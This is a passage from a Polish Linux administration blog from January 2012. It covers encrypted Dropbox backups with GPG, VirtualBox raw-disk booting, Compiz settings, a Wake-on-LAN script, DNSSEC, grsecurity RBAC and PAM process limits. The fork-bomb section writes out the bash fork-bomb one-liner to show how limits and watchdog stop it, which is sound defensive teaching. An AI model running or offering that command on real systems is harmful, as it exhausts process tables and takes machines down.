sub  2048R/57804F1B  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: E   
sub  4096R/1E11B561  utworzony: 2012-01-08  wygasa: nigdy       wykorzystanie: E   
[ nieznany      ] (1). Adam Michal Ziaja
[ unieważniony  ] (2)  Adam Michal Ziaja (adamziaja.com)

pub  2048R/F98A0176  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: SC  
                     zaufanie: nieznany      wiarygodność: nieznany
sub  2048R/57804F1B  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: E   
sub  4096R/1E11B561  utworzony: 2012-01-08  wygasa: nigdy       wykorzystanie: E   
[ nieznany      ] (1). Adam Michal Ziaja
[ unieważniony  ] (2)  Adam Michal Ziaja (adamziaja.com)

Zastanów się jak bardzo ufasz temu użytkownikowi w kwestii sprawdzania
tożsamości innych użytkowników (czy sprawdzi on odciski kluczy pobrane
z różnych źródeł, dokumenty potwierdzające tożsamość, itd.).

 1 = nie wiem, albo nie powiem
 2 = NIE ufam mu
 3 = mam ograniczone zaufanie
 4 = mam pełne zaufanie
 5 = ufam absolutnie
 m = powrót do głównego menu

Twoja decyzja? 5
Czy na pewno chcesz obdarzyć ten klucz absolutnym zaufaniem? (t/N) t

pub  2048R/F98A0176  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: SC  
                     zaufanie: ostateczny    wiarygodność: nieznany
sub  2048R/57804F1B  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: E   
sub  4096R/1E11B561  utworzony: 2012-01-08  wygasa: nigdy       wykorzystanie: E   
[ nieznany      ] (1). Adam Michal Ziaja
[ unieważniony  ] (2)  Adam Michal Ziaja (adamziaja.com)
Pokazana wartość wiarygodności klucza może być niepoprawna,
dopóki program nie zostanie uruchomiony ponownie.

gpg> quit
zaufanie zastosowane jest żeby nie trzeba było potwierdzać zaufania w trakcie szyfrowania kluczem publicznym, kolejnym etapem jest instalacja Dropbox oraz zapisanie mojego skryptu do backupów
# mkdir ~/dropboxbackup && cd ~/dropboxbackup
# wget https://www.dropbox.com/download?dl=packages/dropbox.py -O dropbox.py
# python dropbox.py start -i
# mkdir ~/Dropbox/Private
# vim dropboxbackup.sh
#!/bin/bash

# Adam Michal Ziaja http://adamziaja.com
# 2012-01-23

# Szyfrowany backup na Dropbox
# ./dropboxbackup.sh 1E11B561 test.txt

KEYID=$1
FILE=$2
DROPBOXSCRIPT="$HOME/dropboxbackup/dropbox.py"
DROPBOXDIR="$HOME/Dropbox/Private/"
TMPDIR="/tmp/"
DATA=`date +%Y-%m-%d`

if [ -z "$KEYID" ] || [ -z "$FILE" ]
then
    echo "Podaj ID klucza oraz nazwę pliku."
    exit
fi

tar -cjf $TMPDIR$FILE.tar.bz2 $FILE
chmod 700 $TMPDIR$FILE.tar.bz2

python $DROPBOXSCRIPT stop >> /dev/null 2>&1 # żeby nie rzucał błędami, jeśli był włączony jakimś cudem
python $DROPBOXSCRIPT start >> /dev/null 2>&1 && sleep 5

gpg --yes -r $KEYID --output $DROPBOXDIR$FILE\_$DATA.gpg --encrypt /tmp/$FILE.tar.bz2
rm $TMPDIR$FILE.tar.bz2

sleep 10

while [ 1 ]
do
    if [[ $(python $DROPBOXSCRIPT filestatus ~/Dropbox/Private/ | awk -F": " '{print $2}') = "up to date" ]]
    then
        python $DROPBOXSCRIPT stop >> /dev/null 2>&1
        exit
    else
        sleep 15
    fi
done
na wszelki wypadek za pierwszym razem polecam zamianę pierwszej linii na
#!/bin/bash -x
dzięki czemu skrypt będzie debugowany, przykładowo backup /etc z włączonym debugowaniem wyglądać będzie następująco
# cd /
# /root/dropboxbackup/dropboxbackup.sh 1E11B561 etc
+ KEYID=1E11B561
+ FILE=etc
+ DROPBOXSCRIPT=/root/dropboxbackup/dropbox.py
+ DROPBOXDIR=/root/Dropbox/Private/
+ TMPDIR=/tmp/
++ date +%Y-%m-%d
+ DATA=2012-01-23
+ '[' -z 1E11B561 ']'
+ '[' -z etc ']'
+ tar -cjf /tmp/etc.tar.bz2 etc
+ chmod 700 /tmp/etc.tar.bz2
+ python /root/dropboxbackup/dropbox.py stop
+ python /root/dropboxbackup/dropbox.py start
+ sleep 5
+ gpg --yes -r 1E11B561 --output /root/Dropbox/Private/etc_2012-01-23.gpg --encrypt /tmp/etc.tar.bz2
+ rm /tmp/etc.tar.bz2
+ sleep 10
+ '[' 1 ']'
++ python /root/dropboxbackup/dropbox.py filestatus /root/Dropbox/Private/
++ awk '-F: ' '{print $2}'
+ [[ syncing = \u\p\ \t\o\ \d\a\t\e ]]
+ sleep 15
+ '[' 1 ']'
++ python /root/dropboxbackup/dropbox.py filestatus /root/Dropbox/Private/
++ awk '-F: ' '{print $2}'
+ [[ syncing = \u\p\ \t\o\ \d\a\t\e ]]
+ sleep 15
+ '[' 1 ']'
++ awk '-F: ' '{print $2}'
++ python /root/dropboxbackup/dropbox.py filestatus /root/Dropbox/Private/
+ [[ up to date = \u\p\ \t\o\ \d\a\t\e ]]
+ python /root/dropboxbackup/dropbox.py stop
+ exit
# ls ~/Dropbox/Private/
etc_2012-01-23.gpg
# file ~/Dropbox/Private/etc_2012-01-23.gpg
/root/Dropbox/Private/etc_2012-01-23.gpg: GPG encrypted data
skrypt kończy swoje działanie z chwilą kiedy dane są zaktualizowane na serwerze dropbox.com, w celu przywrócenia kopii zapasowej potrzebny będzie klucz prywatny oraz hasło do niego
# ls
etc_2012-01-23.gpg
# gpg --output etc.tar.bz2 --decrypt etc_2012-01-23.gpg

Musisz podać hasło aby odbezpieczyć klucz tajny 
użytkownika "Adam Michal Ziaja"
długość 4096 bitów, typ RSA, numer 1E11B561, stworzony 2012-01-08 (klucz główny F98A0176)

gpg: zaszyfrowano 4096-bitowym kluczem RSA, numer 1E11B561, stworzonym 2012-01-08
      "Adam Michal Ziaja"
# ls
etc_2012-01-23.gpg  etc.tar.bz2
# tar -xjf etc.tar.bz2
# ls
etc  etc_2012-01-23.gpg  etc.tar.bz2
jedyną rzeczą o której trzeba pamiętać to wywoływanie skryptu w sposób
# /root/dropboxbackup/dropboxbackup.sh 1E11B561 etc
a nie np.
# cd /root/dropboxbackup/
# dropboxbackup.sh 1E11B561 /etc
naturalnie skrypt można dopisać do crontab w celu systematycznej kopii zapasowej, można go stosować na różnych maszynach z wykorzystaniem jednego konta Dropbox, a nasze dane będą bezpieczne ponieważ do zaszyfrowania nie jest potrzebny klucz prywatny, a jedynie klucz publiczny, w związku z czym tylko osoba posiadająca dany klucz prywatny oraz hasło do niego ma możliwość rozszyfrowania naszej kopii zapasowej.

niedziela, 22 stycznia 2012

VirtualBox - uruchamianie systemu z fizycznego dysku

Maszyna wirtualna Virtualbox pozwala na zamontowanie fizycznej partycji istniejącej na tym samym dysku co system na którym uruchomiony został Virtualbox. W praktyce oznacza to, że z poziomu Linux można uruchomić w Virtualbox Windows z drugiej partycji. Całość operacji jest bardzo prosta, kopiujemy rekord MBR (ang. Master Boot Record) oraz tworzymy dysk dla Virtualbox
# dd if=/dev/sda1 of=win.mbr bs=512 count=1
1+0 przeczytanych recordów
1+0 zapisanych recordów
skopiowane 512 bajtów (512 B), 0 s, nieskończenie wiele B/s

# VBoxManage internalcommands createrawvmdk -filename win.vmdk -rawdisk /dev/sda -partitions 1,5 -mbr win.mbr
RAW host disk access VMDK file win.vmdk created successfully.
gdzie parametry odnoszą się odpowiednio do pierwszej partycji podstawowej i pierwszego dysku logicznego w partycji rozszerzonej
# fdisk -l

Disk /dev/sda: 250.1 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders, total 488397168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xaa70aa70

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1              63    51199154    25599546    7  HPFS/NTFS/exFAT
/dev/sda2        51199216   488396799   218598792    f  W95 Ext'd (LBA)
/dev/sda5        51199218   425979539   187390161    7  HPFS/NTFS/exFAT
/dev/sda6   *   425979904   485765119    29892608   83  Linux
/dev/sda7       485767168   488396799     1314816   82  Linux swap / Solaris
do zamontowania takiego dysku potrzebne są uprawnienia root, program wybrany z menu będzie posiadać uprawnienia użytkownika, tak więc trzeba skorzystać z sudo
$ sudo virtualbox
w przypadku uruchomienia programu bez uprawnień root (lub odpowiedniej grupy) przy wybieraniu istniejącego dysku otrzymamy błąd
Nie udało się otworzyć dysk twardy win.vmdk.

The medium 'win.vmdk' can't be used as the requested device type.

Kod wyniku (RC): NS_ERROR_FAILURE (0x80004005)
Komponent: Medium
Interfejs: IMedium {53f9cc0c-e0fd-40a5-a404-a7a5272082cd}
Wywołana funkcja: IVirtualBox {c28be65f-1a8f-43b4-81f1-eb60cb516e66}
ku przestrodze i zastanawianiu się czemu nie działa.

sobota, 21 stycznia 2012

Xfce - alternatywa dla GNOME 3

Xfce jest jednym z alternatywnych środowisk graficznych dla GNOME 3. Mi osobiście GNOME 3 nie przypadło zupełnie do gustu w przeciwieństwie do GNOME 2, z tego właśnie powodu wybrałem Xfce wraz z Compiz, który to jest menedżer okien i kompozycji dającym świetne efekty wizualne, przy czym powinien ruszyć nawet przy najwolniejszych dostępnych dziś grafikach, u mnie przykładowo z powodzeniem działa na zintegrowanej karcie graficznej Intel GMA 950 tak samo dobrze jak na nVidia GeForce 8600M GT. W celu włączenia Compiz po Xfce z menu wybieramy
Programy-> Ustawienia-> Sesje i uruchamianie-> Automatyczne uruchamianie-> Dodaj
następnie tworzymy prosty skrypt, który będzie uruchamiać Compiz
#!/bin/bash
compiz --replace ccp &
gtk-window-decorator --replace &
moje ustawienia Compiz to
[decoration]
as_command = gtk-window-decorator --replace

[animation]
s0_minimize_effects = animation:Glide 2;
s0_minimize_durations = 200;

[core]
as_active_plugins = core;ccp;move;resize;place;decoration;water;maximumize;splash;vpswitch;mousepoll;session;grid;colorfilter;extrawm;inotify;imgjpeg;crashhandler;annotate;tile;png;resizeinfo;titleinfo;put;screenshot;glib;video;text;dbus;regex;workarounds;svg;obs;animation;wall;ring;shelf;snow;animationaddon;thumbnail;elements;wobbly;wallpaper;loginout;fade;switcher;scale;scalefilter;scaleaddon;bench;
w celu ich załadowania wystarczy zapisać powyższą treść do pliku *.profile, a następnie z menu wybrać
Programy-> Ustawienia-> Menadżer ustawień CompizConfig-> Ustawienia-> Importuj
na koniec dorzucę również ustawienia xfce4-terminal


które dają bardzo dobre wizualne efekty


czcionka przy tych ustawa jest bardzo czytelna, jak również nie zabiera dużo miejsca, więc z pewnością przypadnie do gustu osobom bez wady wzroku. Co do schematu kolorów dla terminala polecam
$ grep -i color ~/.config/Terminal/terminalrc
ColorForeground=White
ColorBackground=Black
ColorPalette1=#2e2e34343636
ColorPalette2=#cccc00000000
ColorPalette3=#4e4e9a9a0606
ColorPalette4=#c4c4a0a00000
ColorPalette5=#34346565a4a4
ColorPalette6=#757550507b7b
ColorPalette7=#060698989a9a
ColorPalette8=#d3d3d7d7cfcf
ColorPalette9=#555557575353
ColorPalette10=#efef29292929
ColorPalette11=#8a8ae2e23434
ColorPalette12=#fcfce9e94f4f
ColorPalette13=#72729f9fcfcf
ColorPalette14=#adad7f7fa8a8
ColorPalette15=#3434e2e2e2e2
ColorPalette16=#eeeeeeeeecec
jest to zmodyfikowany o kolor tła (ColorBackground=#323232323232) schemat kolorów Tango.

Skrypt Remote Wake-up

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Adam Michal Ziaja http://adamziaja.com
# 2012-01-21

# Remote Wake-up (RWU)

import sys
import socket

mac = "".join(chr(int(x, 16)) for x in sys.argv[1].split(':'))
ip = sys.argv[2]

s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto('\xff'*6+mac*16, (ip, 9))
$ wget http://adamziaja.googlecode.com/files/rwu_python2_2012-01-21.py -O rwu.py
$ python2.6 rwu.py MAC IP
program (lub skrypt jeśli ktoś woli) służy do wysyłania pakietu Wake-on-LAN (WOL) przez Internet czyli Remote Wake-up (RWU). Więcej informacji na ten temat napisałem we wcześniejszych dwóch wpisach. Przykładowe zastosowanie w load balancing to wyłączanie części serwerów na noc (wpis w crontab), a następnie włączanie przy pomocy powyższego skryptu. Inne zastosowanie to np. komputer w domu włączany tylko gdy potrzebujemy połączyć się do niego zdalnie.

środa, 18 stycznia 2012

Steganografia w plikach dźwiękowych

Informatyka śledcza (ang. Computer Forensics) jest gałęzią nauk sądowych, której celem jest dostarczanie cyfrowych środków dowodowych popełnionych przestępstw lub nadużyć. Jej zadaniami są: zbieranie, odzyskiwanie, analiza oraz prezentacja, w formie specjalistycznego raportu, danych cyfrowych znajdujących się na różnego rodzaju nośnikach. Steganografia jest nauką o komunikacji w taki sposób by obecność komunikatu nie mogła zostać wykryta. W odróżnieniu od kryptografii (gdzie obecność komunikatu nie jest negowana natomiast jego treść jest niejawna) steganografia próbuje ukryć fakt prowadzenia komunikacji. Pytania m.in. z tej dziedziny pojawiły się na stronie jednej z międzynarodowych konferencji, której tematem przewodnim jest informatyka śledcza, bezpieczeństwo IT oraz hacking. Nie będę tutaj wymieniać nazwy owej konferencji ze względu na to, że nie chcę aby wpis był do wyszukania po słowach kluczowych w Internecie przez osoby, które rozwiązują owe testy. Zadanie dotyczyło znalezienia ukrytej informacji w pliku muzycznym
do analizy wykorzystałem program
audacity - Szybki, wieloplatformowy edytor audio

w którym już na pierwszy rzut oka widać, że kanał lewy i prawy różnią się, w związku z tym pierwszą rzeczą było rozdzielenie kanałów, następnie przełączyłem podgląd na wykres widma amplitudowego sygnału (spektrogram), dzięki czemu na prawym kanale było już widać, że część fragmentów różni się od spójnej całości


po przybliżeniu widać już bardzo wyraźnie, że rzeczywiście tak jest


po wycięciu owych podejrzanych fragmentów i połączeniu w jeden plik uzyskałem


jednak dalej coś wydaje się być nie tak, mimo że teoretycznie słychać na początku jakieś słowa po angielsku, ale jednocześnie da się usłyszeć dość charakterystyczny ton dla odwróconej mowy, tak więc odwrócenie dźwięku ukazało zakodowaną wiadomość


zadanie uznałem, że jest na tyle ciekawe, że warto będzie o nim wspomnieć na blogu.

poniedziałek, 16 stycznia 2012

Grsecurity RBAC

Grsecurity RBAC (ang. Role-based Access Control) jest to kontrola dostępu oparta na rolach, zalecane ustawienia jądra to
# grep CONFIG_GRKERNSEC_ACL_ /usr/src/linux/.config
CONFIG_GRKERNSEC_ACL_HIDEKERN=y
CONFIG_GRKERNSEC_ACL_MAXTRIES=3
CONFIG_GRKERNSEC_ACL_TIMEOUT=30
przy czym osobiście ustawiam
CONFIG_GRKERNSEC_ACL_MAXTRIES=5
aby wprowadzić RBAC w życie potrzebny jest program gradm
# wget http://grsecurity.net/test/gradm-2.2.2-201111011031.tar.gz.sig
# wget http://grsecurity.net/test/gradm-2.2.2-201111011031.tar.gz
# gpg --verify gradm-2.2.2-201111011031.tar.gz.sig
gpg: Podpisano w wto, 1 lis 2011, 03:32:16 CET kluczem DSA o numerze 4245D46A
gpg: Poprawny podpis złożony przez ,,Bradley Spengler (spender) ''
gpg: OSTRZEŻENIE: Ten klucz nie jest poświadczony zaufanym podpisem!
gpg:              Nie ma pewności co do tożsamości osoby która złożyła podpis.
Odcisk klucza głównego: 9F74 393D 7E7F FF3C 6500  E778 9879 B649 4245 D46A
# tar zxvf gradm-2.2.2-201111011031.tar.gz
# cd gradm2 && make && make install
oczywiście należy pobrać najnowszą odpowiednią dla zainstalowanego grsec wersję gradm, podstawowe komendy to
To enable the system:
gradm -E

To disable the system:
gradm -D

To authenticate to the administration role:
gradm -a admin

To de-authenticate from the administration role, either exit your shell, or enter:
gradm -u admin
żeby w ogóle skorzystać z narzędzia trzeba ustawić hasło master oraz dla dwóch wbudowanych ról
# gradm -P
# gradm -P admin
# gradm -P shutdown
RBAC posiada użyteczną funkcjonalność tzw. tryb uczenia, tryb ten pozwala na wygenerowanie dla naszego systemu, optymalnej polityki, aby wejść we wspomniany tryb wydajemy komendę
# gradm -F -L /etc/grsec/learning.log
warto również zastosować się do uwag ze strony twórców grsec
Do not perform any administrative tasks while running in learning mode. This includes starting/stopping system services, adding or removing users from the system, or adding or removing new software. These kinds of tasks should only be performed under the administration role once the learning phase is over. Remember that "root" can no longer be trusted, so assume root is the attacker and do not do anything you would allow an attacker to do.
jeśli dojdziemy do wniosku, że nasz RBAC nauczył się wszystkiego co będzie mu potrzebne to pozostaje nic innego jak przetworzenie zebranych danych i zaproponowanie ról
# gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles
Unable to open learning log: /etc/grsec/learning.log.
Error: No such file or directory
grsec: From 192.168.0.100: (default:D:/sbin/gradm) denied access to hidden file /etc/grsec/learning.log
# gradm -a admin
Password:
grsec: From 192.168.0.100: (default:D:/sbin/gradm) successful change to special role admin (id 1)
# screen
# gradm -F -L /etc/grsec/learning.log -O /etc/grsec/learning.roles
oraz zmieniamy po weryfikacji stosowaną politykę RBAC
# mv /etc/grsec/policy{,~}
# mv /etc/grsec/learning.roles /etc/grsec/policy
# chmod 0600 /etc/grsec/policy
po instalacji gradm standardowo w
/etc/grsec/policy
znajduje się przykładowa polityka, która bez modyfikacji raczej nie sprawdzi się w żadnym systemie.

sobota, 14 stycznia 2012

DNSSEC - bezpieczeństwo DNS

DNSSEC (ang. DNS Security Extensions) jest rozszerzeniem systemu DNS mające na celu zwiększenie jego bezpieczeństwa - zapewnia autoryzację źródeł danych (serwerów DNS). Na przykładzie systemu Debian (ścieżki do plików) oraz serwera DNS
bind9 - Internet Domain Name Server
w wersji
# named -v
BIND 9.7.3
na początku musimy poprawnie skonfigurować domenę w pliku
/etc/bind/named.conf.default-zones
w moim wypadku będzie to domena dnssec.az.linux.pl (która w rzeczywistości nie istnieje, jednak wpis był tworzony w oparciu o rzeczywistą domenę)
zone "dnssec.az.linux.pl" {
        type master;
        file "/var/cache/bind/dnssec.az.linux.pl";
        allow-update { none; };
        allow-transfer { none; };
        notify yes;
};
klucze będziemy przechowywać w oddzielnym katalogu
# mkdir /etc/bind/keys
# chgrp bind /etc/bind/keys
# chmod 0750 /etc/bind/keys
# cd /etc/bind/keys
następnie tworzymy pary kluczy, do wyboru mamy różne algorytmy
algorithm:
RSA, RSAMD5, DSA, RSASHA1, NSEC3RSASHA1, NSEC3DSA, RSASHA256, RSASHA512, DH,
HMAC-MD5, HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, HMAC-SHA384, HMAC-SHA512
(default: RSASHA1, or NSEC3RSASHA1 if using -3)

key size in bits:
RSAMD5: [512..4096]
RSASHA1: [512..4096]
NSEC3RSASHA1: [512..4096]
RSASHA256: [512..4096]
RSASHA512: [1024..4096]
DH: [128..4096]
DSA: [512..1024] and divisible by 64
NSEC3DSA: [512..1024] and divisible by 64
HMAC-MD5: [1..512]
HMAC-SHA1: [1..160]
HMAC-SHA224: [1..224]
HMAC-SHA256: [1..256]
HMAC-SHA384: [1..384]
HMAC-SHA512: [1..512]
(if using the default algorithm, key size defaults to 2048 for KSK, or 1024 for all others)
w moim przypadku będzie to RSASHA512/4096
# dnssec-keygen -r /dev/urandom -a RSASHA512 -b 4096 -n ZONE dnssec.az.linux.pl
# dnssec-keygen -r /dev/urandom -f KSK -a RSASHA512 -b 4096 -n ZONE dnssec.az.linux.pl
wygenerowane klucze mają format
K<name>+<alg>+<id>.key
K<name>+<alg>+<id>.private
następnie ustawiamy odpowiednie uprawnienia
# chgrp bind *.private
# chmod 0640 *.private
# cd /var/cache/bind
# chgrp bind dnssec.az.linux.pl 
# chmod 640 dnssec.az.linux.pl
jeśli dopiero skonfigurowaliśmy strefę DNS to potrzebne będzie przeładowanie
# rndc reload
na czas edycji zamrażamy strefę
# rndc freeze dnssec.az.linux.pl
do konfiguracji strefy dopisujemy
;; ZSK public key
$include /etc/bind/keys/Kdnssec.az.linux.pl.+010+60788.key
;; KSK public key
$include /etc/bind/keys/Kdnssec.az.linux.pl.+010+54162.key
$TTL 120 ; Domyślny TTL
$ORIGIN dnssec.az.linux.pl.
@ IN SOA dns.adamziaja.com. root.dns.adamziaja.com. (
    201201141 ; Numer seryjny
    3600 ; Częstość odświeżania (refresh)
    1800 ; Częstość powtórek (retry)
    1209600 ; Czas wygaśnięcia (expire)
    86400 ; Negatywne buforowanie TTL
)

;; ZSK public key
$include /etc/bind/keys/Kdnssec.az.linux.pl.+010+60788.key
;; KSK public key
$include /etc/bind/keys/Kdnssec.az.linux.pl.+010+54162.key

@ IN NS dns.adamziaja.com.
@ IN AAAA ::1
oraz obowiązkowo przy tym zmieniamy numer seryjny, następnie podpisujemy strefę
# cd /etc/bind/keys
# dnssec-signzone -r /dev/random -o dnssec.az.linux.pl -k /etc/bind/keys/Kdnssec.az.linux.pl.+010+54162.key /var/cache/bind/dnssec.az.linux.pl /etc/bind/keys/Kdnssec.az.linux.pl.+010+60788.key
Verifying the zone using the following algorithms: RSASHA512.
Zone signing complete:
Algorithm: RSASHA512: KSKs: 1 active, 0 stand-by, 0 revoked
                      ZSKs: 1 active, 0 stand-by, 0 revoked
/var/cache/bind/dnssec.az.linux.pl.signed
oraz nowo powstałym plikom nadajemy odpowiednie prawa
# chgrp bind dsset-dnssec.az.linux.pl. 
# chmod 640 dsset-dnssec.az.linux.pl.
# cd /var/cache/bind
# chgrp bind dnssec.az.linux.pl.signed
# chmod 660 dnssec.az.linux.pl.signed
oraz w
/etc/bind/named.conf.default-zones
poprawiamy linię
file "/var/cache/bind/dnssec.az.linux.pl";
na
file "/var/cache/bind/dnssec.az.linux.pl.signed";
następnie w pliku
/etc/bind/named.conf.options
dopisujemy
dnssec-enable yes;
dnssec-validation yes;
sig-validity-interval 2400;
key-directory "/etc/bind/keys";
do strefy nadrzędnej (w tym wypadku az.linux.pl) dopisujemy natomiast
$include /etc/bind/keys/dsset-dnssec.az.linux.pl.
na koniec przeładowujemy konfigurację i rozmrażamy strefę
# rndc reload
# rndc thaw dnssec.az.linux.pl
na koniec poprawność m.in. DNSSEC można sprawdzić za pomocą komendy
$ dig +dnssec +multi dnssec.az.linux.pl
lub na check.dns.pl w moim wypadku sekcja DNSSEC wygląda następująco
Początek testów DNSSEC dla dnssec.az.linux.pl.
Nie znaleziono rekordu DS dla dnssec.az.linux.pl w strefie nadrzędnej.
Serwer nazw 83.30.165.143 dokonuje przetwarzania DNSSEC.
Serwery strefy dnssec.az.linux.pl wykazały spójne wyniki przetwarzania DNSSEC.
Znaleziono rekord DNSKEY dla dnssec.az.linux.pl w strefie podrzędnej.
Przerwany łańcuch zaufania dla dnssec.az.linux.pl - rekord DNSKEY został znaleziony w strefie podrzędnej,
ale nie znaleziono rekordu DS w strefie nadrzędnej.
Sprawdzanie statusu DNSSEC w strefie podrzędnej (dnssec.az.linux.pl).
Klucz strefy dnssec.az.linux.pls key with tag 54162 uses algorithm number 10 (RSA/SHA-512).
Algorytm 10 jest akceptowalny.
Rekord DNSKEY dnssec.az.linux.pl (znacznik 54162) jest oznaczony jako SEP.
Klucz strefy dnssec.az.linux.pls key with tag 60788 uses algorithm number 10 (RSA/SHA-512).
Algorytm 10 jest akceptowalny.
Podpis DNSSEC traci ważność: Mon Feb 13 15:42:21 2012
Podpis DNSSEC RRSIG(dnssec.az.linux.pl/IN/DNSKEY/54162) odpowiada rekordom.
Ważny podpis DNSSEC: RRSIG(dnssec.az.linux.pl/IN/DNSKEY/54162)
Podpis DNSSEC traci ważność: Mon Feb 13 15:42:21 2012
Podpis DNSSEC RRSIG(dnssec.az.linux.pl/IN/DNSKEY/60788) odpowiada rekordom.
Ważny podpis DNSSEC: RRSIG(dnssec.az.linux.pl/IN/DNSKEY/60788)
Wystarczająca ilość ważnych podpisów została otrzymana dla dnssec.az.linux.pl.
Podpis DNSSEC traci ważność: Mon Feb 13 15:42:21 2012
Podpis DNSSEC RRSIG(dnssec.az.linux.pl/IN/SOA/60788) odpowiada rekordom.
Ważny podpis DNSSEC: RRSIG(dnssec.az.linux.pl/IN/SOA/60788)
Wystarczająca ilość ważnych podpisów została otrzymana dla SOA dnssec.az.linux.pl.
Koniec testów DNSSEC dla dnssec.az.linux.pl.
Zakończono testy DNSSEC dla dnssec.az.linux.pl.
wyżej pogrubiłem jedyne ostrzeżenie, jest to związane z faktem, że nie dopisałem rekordów DS do strefy nadrzędnej
$include /etc/bind/keys/dsset-dnssec.az.linux.pl.
# cat /etc/bind/keys/dsset-dnssec.az.linux.pl.
dnssec.az.linux.pl. IN DS 54162 10 1 9907893D9A64CBD6755E719EE86B4257FA66244D
dnssec.az.linux.pl. IN DS 54162 10 2 4A362C46FB420DC88235CD5FAD99F30C695A21ABF2E9E04A9362A62F 73DDE7AA
w związku z tym przerwany został łańcuch zaufania


jak widać w obszarze zaznaczonym na żółto przerwany został już na poziomie domeny linux.pl.

Fork-bomba i PAM (pam_limits)

/etc/security/limits.conf jest częścią pakietu PAM i ma zastosowanie wyłącznie dla pakietów go używających. Kontrola użycia zasobów jest bardzo efektywnym sposobem zapobiegania lokalnym atakom typu DoS (Denial of Service), z tego powodu najlepiej będzie wszędzie udostępnić pam_limits
# grep -R pam_limits.so /etc/pam.d/
/etc/pam.d/atd:session required pam_limits.so
/etc/pam.d/cron:session required pam_limits.so
/etc/pam.d/sudo:session required pam_limits.so
/etc/pam.d/su:session required pam_limits.so
/etc/pam.d/login:session required pam_limits.so
/etc/pam.d/sshd:session required pam_limits.so
domyślnie (Debian 6.0.3) w /etc/pam.d/su opcja ta jest zakomentowana
# grep -A3 /etc/security/limits.conf /etc/pam.d/su
# Sets up user limits, please uncomment and read /etc/security/limits.conf
# to enable this functionality.
# (Replaces the use of /etc/limits in old login)
session    required   pam_limits.so
co oznacza, że nie działa w przypadku jeśli z innego konta dostaniemy się na konto z limitem poprzez polecenie su, w związku z tym, decyzja należy do sysadmina czy zostawić to jak jest domyślnie czy jednak poprawić, przykładowo z opcją domyślną gdy mamy założone konto testowe i/lub deweloperskie z limitami, a następnie zalogujemy się na nie poprzez su z konta bez limitów to konto testowe również nie będzie posiadać aktywnych limitów ponieważ zostaną ominięte poprzez zalogowanie za pośrednictwem su, w celu wyświetlenia limitów wydajemy komendę
ulimit -a
przykładowo ochrona przed fork-bombą wygląda następująco
# egrep -v "^$|^#" /etc/security/limits.conf
adam hard nproc 20
nproc odpowiada tutaj za maksymalną liczbę otwartych procesów, natomiast limit soft i hard tak samo działa z punktu widzenia limitowanego zasobu, różnica jest w tym, że soft proces może sobie podnieść wartość przy pomocy setrlimit, tak więc moim zdaniem lepiej korzystać tylko z hard w tym wypadku. Limity są ustawiane dopiero przy logowaniu użytkownika i nie działają na użytkowników zalogowanych w czasie zmiany ustawień. Fork-bomba w BASHu powstaje poprzez wydanie komendy
:(){ :|:& };:
w systemie warto mieć również watchdog ponieważ bez ustawionych limitów, a z przykładową konfiguracją
# grep ^max-load /etc/watchdog.conf
max-load-1  = 24
max-load-5  = 18
max-load-15  = 12
system automatycznie się zrestartuje
watchdog[3140]: loadavg 940 201 66 is higher than the given threshold 24 18 12!
watchdog[3140]: shutting down the system because of error -3
kernel: [  572.950643] SoftDog: Unexpected close, not stopping watchdog!
natomiast w przypadku standardowej konfiguracji systemu będą dziać się różne dziwne rzeczy przy uruchomieniu fork-bomby, a dostęp do systemu nie będzie możliwy. Warto tutaj również wspomnieć o Grsecurity, który posiada opcję
# grep CONFIG_GRKERNSEC_FORKFAIL /usr/src/linux/.config
CONFIG_GRKERNSEC_FORKFAIL=y
i w przypadku wywołania fork-bomby wszystko zostanie odnotowane w logach
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10786] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10790] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10788] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10794] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10795] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10793] uid/euid:1000/1000
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10796] uid/euid:1000/1000
grsec: more alerts, logging disabled for 10 seconds
grsec: From 192.168.0.100: failed fork with errno EAGAIN by /bin/bash[bash:10786] uid/euid:1000/1000
w bardzo przystępnej formie jak widać, łącznie z numerem IP. Opcja ta standardowo włączona jest przy polityce medium w grsec.

piątek, 13 stycznia 2012

Prywatność i Gadu-Gadu

Nie wiem czemu ale Gadu-Gadu pobiera strony które są wysyłane w treści wiadomości prywatnych
adamziaja.com:80 91.197.15.34 - - [13/Jan/2012:00:02:54 +0100] "GET /gg HTTP/1.0" 302 212 "-" "-"
$ whois 91.197.15.34 | egrep "^inetnum|^netname"
inetnum:        91.197.12.0 - 91.197.15.255
netname:        GADU-GADU
ku przestrodze... aby wyciąć taki ruch wystarczy np. do .htaccess dopisać
Order Allow,Deny
Allow from all

# 91.197.12.0/22 AS43325: GADU-GADU
Deny from 91.197.12.
Deny from 91.197.13.
Deny from 91.197.14.
Deny from 91.197.15.

# 91.214.236.0/22 AS43325: GG-NETWORK
Deny from 91.214.236.
Deny from 91.214.237.
Deny from 91.214.238.
Deny from 91.214.239.
[Sun Jan 13 13:37:47 2012] [error] [client 91.197.15.34] client denied by server configuration
dzięki czemu wszystkie IP z pul GG będą blokowane.

czwartek, 12 stycznia 2012

Skrypt do pobrania najnowszej wersji Grsecurity oraz Kernel

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
# Adam Michal Ziaja http://adamziaja.com
# 2012-01-16
 
